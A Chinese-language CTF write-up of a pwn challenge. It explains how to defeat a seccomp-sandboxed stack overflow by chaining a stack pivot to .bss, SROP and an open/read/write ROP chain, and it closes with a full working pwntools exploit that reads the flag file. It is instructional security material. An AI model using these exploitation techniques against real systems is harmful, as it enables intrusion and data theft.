建议先看stack pivot再来这里…
ok题目来自XSWCTF2025初赛的一道pwn,考察了更加精妙的栈风水布局(基于stack pivot),同时融合着SROP和ORW,来看看吧!
ps:虽然比赛时我也没做出来(x_x)
先看一下题目逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| void main(void) { undefined1 local_78 [108]; undefined4 local_c; local_c = 0; setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); sandbox(); puts("hey hey what are you doing here?"); FUN_004010e0(0,local_78,0x50); #第一次read,没有溢出 puts("I say STOP doing this!"); FUN_004010e0(0,local_78,0x200); #第二次read,存在溢出 return; }
|
保护虽然只有NX,但是同时开启了seccomp沙箱(sandbox),使用命令
1
| seccomp-tools dump ./pwn
|
查看,发现禁用了execve,所以只能打ORW(open,read,write),让我们找找关于寄存器的gadget,额,竟然什么都找不到…
但是我们找到了一个syscall的汇编指令,所以在这种情况下,我们就要使用一招系统内核级的利用,SROP,linux存在一种信号处理机制,当进程收到信号时,内核会先暂停进程执行,然后保存当前寄存器状态到用户栈(sigcontext),接下来跳转到信号处理函数,等信号处理函数执行完毕后,调用sigreturn系统调用,内核从栈上恢复寄存器状态,因此,我们可以伪造sigcontext结构,同时设置rax为sigreturn的系统调用号15(x86-64),并执行syscall指令触发sigreturn机制,内核便会从我们伪造的sigcontext中恢复所有我们所设定的寄存器值,从而完全控制进程执行流!
然而还有一个关键点在于如何将rax设置为15,因为并没有pop rax; ret;的gadget,这时,”不难”想到,rax寄存器上保存的是函数的返回值,我们可以在read时读入15个字节长度的数据,此时rax便被巧妙地设置为了15,此时再执行syscall即可调用sigreturn机制打我们的SROP了
当然,为了不破坏栈的结构,我们仍然需要利用stack pivot迁移至bss段上伪造我们的栈帧并布局我们的利用链…
先把有用的地址列出来
1 2 3 4 5 6
| read = 0x4012a9 syscall = 0x4012fa leave_ret = 0x4012d3 puts_got = 0x404010 puts_plt = 0x4010b0 bss = 0x404090 + 0x500
|
第一次的read直接跳过,来到我们的第二次read,首先将rbp迁移至bss段,并重新执行一次read(想必都会了吧)
1 2 3
| p.sendafter(b"re you doing here?\n",b"beef")
p.sendafter(b"TOP doing this!\n",b"A" * 0x70 + p64(bss) + p64(read))
|
这时在bss段上形成了新的栈帧,我们步骤好srop的sigcontext以泄露libc基址,并进行第二次段内迁移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| p.recvuntil(b"doing this!\n") payload = p64(bss + 0x10) + p64(read) payload = payload.ljust(0x70,b"\x00") payload += p64(bss - 0x70) payload += p64(leave_ret) payload += p64(bss+0x100) payload += p64(syscall)
frame3 = SigreturnFrame() frame3.rip = puts_plt frame3.rsp = bss - 0x60 + 8 frame3.rbp = bss + 0x210 frame3.rax = 15 frame3.rdi = puts_got frame3.rsi = 0 frame3.rdx = 0
payload += bytes(frame3)
p.send(payload)
|
发送完这次payload后再次执行read,我们发送15字节长度的数据以将rax设置为15,同时注意,此时经过我们的布置,rbp目前在0x4045a0的位置,刚好新栈帧rip返回地址的位置便是我们的syscall和sigcontext
1
| p.sendafter(b"TOP doing this!\n",p64(bss) + b"\xa9\x12\x40\x00\x00\x00\x00")
|
这次便会真正执行到我们的sigcontext中所设置的寄存器,即,泄露puts真实地址,从而得到libc基址,继而得到open,read,write和所需gadget的地址,而rbp被设置到更上方的地址再次布局我们最后的ORW,rsp设置在了我们先前read指令的所在地,因此,进行最后一次read,直接布置最终的rop链…
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| libc_base = u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libc_base)) open=libc_base+libc.sym['open'] write=libc_base+libc.sym['write'] rread=libc_base+libc.sym['read'] rdi=libc_base+0x10f78b rsi=libc_base+0x110a7d rdx=0x4012fc ret=libc_base+0x2882f p.recvuntil(b"doing this!\n") payload = b'A'*0x18+p64(bss+0x10)+b'B'*0x50+b'./flag\x00\x00' payload += p64(rdi) + p64(bss+0x210) + p64(rsi) + p64(0) +p64(open) payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss+0x318) + p64(rdx) + p64(0x100) + p64(bss+0x318) + p64(rread) payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss+0x318) + p64(rdx) + p64(0x100) + p64(bss+0x318) + p64(write)
|
最终,在精妙的布局与利用下,我们成功获得了flag…
由于迷失于错综的地址,当时我也是对着gdb调试了老半天才算看懂这道题的wp,写出来过程也算了却一下自己的心魔,依旧贴一张图帮助你思考…

最后贴一下完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import *
p=remote('127.0.0.1',40315) libc=ELF('./libc.so.6') context.log_level = 'debug' context.arch = 'amd64'
read = 0x4012a9 syscall = 0x4012fa leave_ret = 0x4012d3 puts_got = 0x404010 puts_plt = 0x4010b0 bss = 0x404090 + 0x500 print(hex(bss))
p.sendafter(b"re you doing here?\n",b"beef")
p.sendafter(b"TOP doing this!\n",b"A" * 0x70 + p64(bss) + p64(read)) p.recvuntil(b"doing this!\n") payload = p64(bss + 0x10) + p64(read) payload = payload.ljust(0x70,b"\x00") payload += p64(bss-0x70) payload += p64(leave_ret) payload += p64(bss+0x100) payload += p64(syscall)
frame3 = SigreturnFrame() frame3.rip = puts_plt frame3.rsp = bss-0x60+8 frame3.rbp = bss+0x210 frame3.rax = 15 frame3.rdi = puts_got frame3.rsi = 0 frame3.rdx = 0
payload += bytes(frame3)
p.send(payload)
p.sendafter(b"TOP doing this!\n",p64(bss) + b"\xa9\x12\x40\x00\x00\x00\x00")
libc_base = u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libc_base)) open=libc_base+libc.sym['open'] write=libc_base+libc.sym['write'] rread=libc_base+libc.sym['read'] rdi=libc_base+0x10f78b rsi=libc_base+0x110a7d rdx=0x4012fc ret=libc_base+0x2882f p.recvuntil(b"doing this!\n") payload = b'A'*0x18+p64(bss+0x10)+b'B'*0x50+b'./flag\x00\x00' payload += p64(rdi) + p64(bss+0x210) + p64(rsi) + p64(0) +p64(open) payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss+0x318) + p64(rdx) + p64(0x100) + p64(bss+0x318) + p64(rread) payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss+0x318) + p64(rdx) + p64(0x100) + p64(bss+0x318) + p64(write)
p.send(payload)
p.interactive()
|
就到这里便结束了,感谢阅读,生活愉快…